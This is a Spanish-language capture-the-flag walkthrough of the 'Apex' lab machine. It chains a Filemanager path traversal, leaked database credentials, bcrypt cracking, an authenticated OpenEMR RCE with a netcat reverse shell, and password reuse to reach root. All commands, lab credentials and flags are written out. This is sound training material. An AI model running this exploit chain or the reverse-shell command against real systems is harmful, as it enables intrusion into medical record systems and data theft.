the_open_door
café
ESEN

Apex

Proving Grounds PracticeMediaLinux192.168.104.145

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#openemr#responsive-filemanager#path-traversal#cve-2018-20789#smb#credentials-in-source#mysql#bcrypt#hash-cracking#cve-2018-17179#rce#password-reuse#oscp
TL;DR. Apex es un hospital ficticio con OpenEMR 5.0.1 y un Responsive Filemanager 9.13.4 en el 80, un SMB con docs y MySQL en el 3306. El Filemanager tiene un path traversal (CVE-2018-20789): como su carpeta Documents está sincronizada con el recurso SMB docs, copiamos sqlconf.php ahí y lo leemos por SMB (path traversal), obteniendo las credenciales de MySQL (openemr:C78maEQUIEuQ, credenciales en config). En la base de datos sacamos el hash bcrypt de admin, lo rompemos a thedoctor (cracking) y entramos en OpenEMR; su RCE autenticado (CVE-2018-17179) da shell como www-data. Esa misma contraseña sirve para su root (reutilización).

Reconocimiento

Escaneo inicial

El TTL de respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.104.145
64 bytes from 192.168.104.145: icmp_seq=1 ttl=61 time=29.1 ms

Barremos todos los puertos TCP y luego identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.104.145
PORT     STATE SERVICE
80/tcp   open  http
445/tcp  open  microsoft-ds
3306/tcp open  mysql
nmap -p80,445,3306 -sCV 192.168.104.145 -oN targetedScan
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: APEX Hospital
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MariaDB 5.5.5-10.1.48

Una web hospitalaria (80), un Samba (445) y un MariaDB (3306). El conjunto sugiere una aplicación médica con su base de datos; el SMB suele guardar documentación o ficheros compartidos.

SMB - TCP 445

Con sesión nula enumeramos los recursos: docs es legible y contiene PDFs de OpenEMR, lo que delata la aplicación que corre detrás:

netexec smb 192.168.104.145 -u '' -p '' --shares
smbclient //192.168.104.145/docs
docs            READ            Documents
...
OpenEMR Success Stories.pdf
OpenEMR Features.pdf

Abrir el PDF confirma el producto y hasta enlaza a su repositorio (github.com/openemr/openemr), que después nos servirá para saber dónde guarda OpenEMR sus ficheros:

PDF "OpenEMR Features" mostrando el enlace github.com/openemr/openemr

Guardamos el dato clave: el recurso docs es una carpeta del servidor web (lo confirmaremos enseguida).

HTTP - TCP 80

La web es "APEX Hospital". Enumerando rutas aparecen /openemr (la aplicación médica) y un /filemanager:

Portada APEX Hospital en el puerto 80

OpenEMR está en /openemr; su admin.php identifica la versión 5.0.1:

OpenEMR Site Administration (admin.php) confirma la versión 5.0.1

Más tarde, ya dentro de la aplicación con sesión de administrador, el menú About la confirma desde la propia interfaz, sin depender del instalador:

la pestaña About OpenEMR dentro de la aplicación, con Version Number v5.0.1 (1) y los botones de manual y soporte

About OpenEMR
Version Number: v5.0.1 (1)
  User Manual
  Online Support
  Acknowledgments, Licensing and Certification

Ese (1) del final es el número de parche, y es lo que va a decidir qué exploit sirve más adelante.

Y en /filemanager corre un Responsive Filemanager v9.13.4:

Responsive Filemanager v9.13.4 con las carpetas Images y Documents

Ese Filemanager muestra una carpeta Documents. Enumerando el recurso SMB docs vemos los mismos dos PDFs que el Filemanager lista en Documents: las dos vistas apuntan a la misma carpeta del disco, es decir Documents (web) y docs (SMB) están sincronizadas. Esa sincronización será la pieza que une la cadena:

Filemanager mostrando la carpeta Documents con los dos PDFs y, en paralelo, smbclient //docs listando los mismos ficheros

Lectura de ficheros (path traversal)

Responsive Filemanager 9.13.4: path traversal sincronizado con SMB

Responsive Filemanager 9.13.4 es vulnerable a un path traversal (CVE-2018-20789, exploit 49359.py). El exploit no devuelve el fichero directamente: usa la acción paste_clipboard para copiar el fichero apuntado dentro de la carpeta Documents. Como Documents está sincronizada con el recurso SMB docs, después leemos el resultado por SMB. Primero validamos el traversal contra /etc/passwd (necesita un PHPSESSID válido, que sacamos con un curl -I):

curl -I http://192.168.104.145/filemanager/
python3 exp.py "http://192.168.104.145" PHPSESSID=<sesion> /etc/passwd

curl -I devolviendo el PHPSESSID y exp.py leyendo /etc/passwd a traves del traversal

root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

El fichero copiado aparece como passwd dentro de Documents en el propio Filemanager, prueba visual de que el paste_clipboard funcionó:

El Filemanager muestra el fichero passwd recien copiado dentro de la carpeta Documents

En la raíz del gestor se ve igual de claro, ahora junto a las dos carpetas originales: el contador de la barra pasa a (1 Files - 2 Folders) y el passwd aparece como un fichero más, seleccionable y descargable desde el propio navegador:

la raíz del Responsive Filemanager con Images, Documents y el fichero passwd recién aparecido, y el contador 1 Files - 2 Folders

/ (1 Files - 2 Folders)
  Images   Documents   passwd

Y, al estar Documents sincronizada con docs, ese mismo passwd se puede descargar por SMB:

smbclient //docs listando el fichero passwd (1607 bytes) junto a los dos PDFs

Con la PoC validada, el objetivo real es el sqlconf.php de OpenEMR, el fichero que guarda las credenciales de la base de datos. Su ruta la conocemos por el repositorio público de OpenEMR (sites/default/sqlconf.php):

Repositorio de OpenEMR en GitHub mostrando sites/default/sqlconf.php y su estructura de credenciales

Apuntamos el traversal a esa ruta y lo recuperamos por SMB:

python3 exp.py "http://192.168.104.145" PHPSESSID=<sesion> /var/www/openemr/sites/default/sqlconf.php
smbclient //192.168.104.145/docs    # get sqlconf.php

Exploit de path traversal copiando sqlconf.php y smbclient listando el fichero en docs

El sqlconf.php revela las credenciales de la base de datos (credenciales en config):

$host  = 'localhost';
$login = 'openemr';
$pass  = 'C78maEQUIEuQ';
$dbase = 'openemr';

Acceso a OpenEMR (credenciales)

MySQL: hash de admin y crackeo

Con esas credenciales entramos al MariaDB del 3306 y navegamos hasta la base openemr:

mysql -h 192.168.104.145 -u openemr -p --skip-ssl   # C78maEQUIEuQ

Login en MariaDB como openemr; show databases muestra openemr y show tables lista addresses, amc_misc_data...

MariaDB [(none)]> show databases;
information_schema
openemr
MariaDB [(none)]> use openemr;
MariaDB [openemr]> show tables;

La tabla users_secure guarda el hash del administrador:

select username,password from users_secure;

Consulta a users_secure mostrando el usuario admin y su hash bcrypt

admin   $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC

Es un bcrypt; lo rompemos offline con John (cracking de hashes):

john --wordlist=/usr/share/wordlists/rockyou.txt hash

John rompiendo el bcrypt de admin y revelando la contrasena thedoctor

thedoctor        (?)

La contraseña de admin es thedoctor. La usamos en el login de OpenEMR:

Formulario de login de OpenEMR con usuario admin y contrasena thedoctor

Y entramos en el panel como Administrator:

Panel principal de OpenEMR (calendario) autenticado como Administrator

Shell como www-data

OpenEMR 5.0.1: RCE autenticado (CVE-2018-17179)

OpenEMR 5.0.1 tiene un RCE autenticado (CVE-2018-17179): con una sesión válida de administrador se ejecutan comandos en el servidor. Buscamos el exploit público de esa versión:

searchsploit openemr 5.0.1

searchsploit openemr 5.0.1 listando varios RCE autenticados, entre ellos 45161.py

OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)   | php/webapps/45161.py

Descargamos 45161.py y lo renombramos:

searchsploit -m 45161.py
mv 45161.py openemr.py

searchsploit -m descarga 45161.py, que renombramos openemr.py

Copied to: /proving_grounds/apex/exploits/45161.py

Antes de disparar una shell conviene comprobar que el RCE funciona. Lanzamos un ping hacia nosotros y lo capturamos con tcpdump:

sudo tcpdump -i tun0 icmp
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "ping -c 1 192.168.45.196"

El exploit se autentica como admin:thedoctor e inyecta el ping; tcpdump captura el ICMP echo request/reply desde 192.168.104.145

[$] Authenticating with admin:thedoctor
[$] Injecting payload
[$] Payload executed

20:40:49 IP 192.168.104.145 > 192.168.45.196: ICMP echo request, id 2221, seq 1
20:40:49 IP 192.168.45.196 > 192.168.104.145: ICMP echo reply,   id 2221, seq 1

El ICMP confirma la ejecución. Ahora dejamos un nc a la escucha y lanzamos la reverse shell con busybox netcat:

nc -nlvp 445
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "busybox nc 192.168.45.196 445 -e bash"

Reverse shell recibida como www-data@APEX tras el RCE autenticado de OpenEMR

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Leemos la primera prueba (en el home de white):

cat /home/white/local.txt && whoami && ip a && hostname

local.txt leido como www-data en APEX, con IP 192.168.104.145

a32d76701998f67dc7034c46f2415c16

Escalada de privilegios

Reutilización de contraseña

La contraseña que rompimos para OpenEMR (thedoctor) es candidata obvia para otras cuentas (reutilización de credenciales). La probamos directamente con su root:

su root    # thedoctor
id

su root con la contrasena thedoctor; id devuelve uid=0(root) en APEX

www-data@APEX:/var/www/openemr/interface/main$ su root
Password:
root@APEX:/var/www/openemr/interface/main# id
uid=0(root) gid=0(root) groups=0(root)

root reutiliza la misma contraseña. Leemos la prueba final:

cat /root/proof.txt && whoami && hostname && ip a

proof.txt leido como root en APEX, con whoami root

b41dc02e29368b5fdbcee6aaa4a38183

Cadena de ataque

SMB docs (445)  ──  PDFs de OpenEMR (fingerprint) + carpeta sincronizada con /filemanager
HTTP (80)  ──  OpenEMR 5.0.1 + Responsive Filemanager 9.13.4
        │  path traversal (CVE-2018-20789) -> copiar sqlconf.php a Documents -> leer por SMB
        │  -> MySQL openemr:C78maEQUIEuQ
        ▼
MySQL (3306)  ──  users_secure -> hash bcrypt de admin -> john -> thedoctor
        │  OpenEMR admin:thedoctor -> RCE autenticado (CVE-2018-17179) -> busybox nc
        ▼
shell como www-data  (local.txt)
        │  reutilizacion de contrasena -> su root (thedoctor)
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • Dos servicios que comparten una carpeta multiplican el riesgo. El path traversal del Filemanager solo copiaba ficheros a Documents, pero esa carpeta era el recurso SMB docs: la combinación convirtió una copia interna en lectura arbitraria desde fuera.
  • Validar la PoC antes del objetivo real. Leer primero /etc/passwd confirmó el traversal sin arriesgar nada; solo entonces fuimos a por sqlconf.php. Y el repositorio público de OpenEMR nos dio la ruta exacta de ese fichero.
  • Las credenciales de BD en config son un puente directo. sqlconf.php entregó openemr:C78maEQUIEuQ, que abrió la base de datos y, con ella, el hash del administrador.
  • Un bcrypt con coste bajo y contraseña de diccionario cae rápido. thedoctor salió de rockyou en segundos; el coste 5 ayuda, pero el problema real es la contraseña débil.
  • Reutilizar contraseñas une la aplicación con el sistema. La misma thedoctor del panel servía para root. Credenciales distintas por servicio (y un root con contraseña propia) habrían cortado la escalada.
Cheatsheet de comandos 11 comandos

Repaso rápido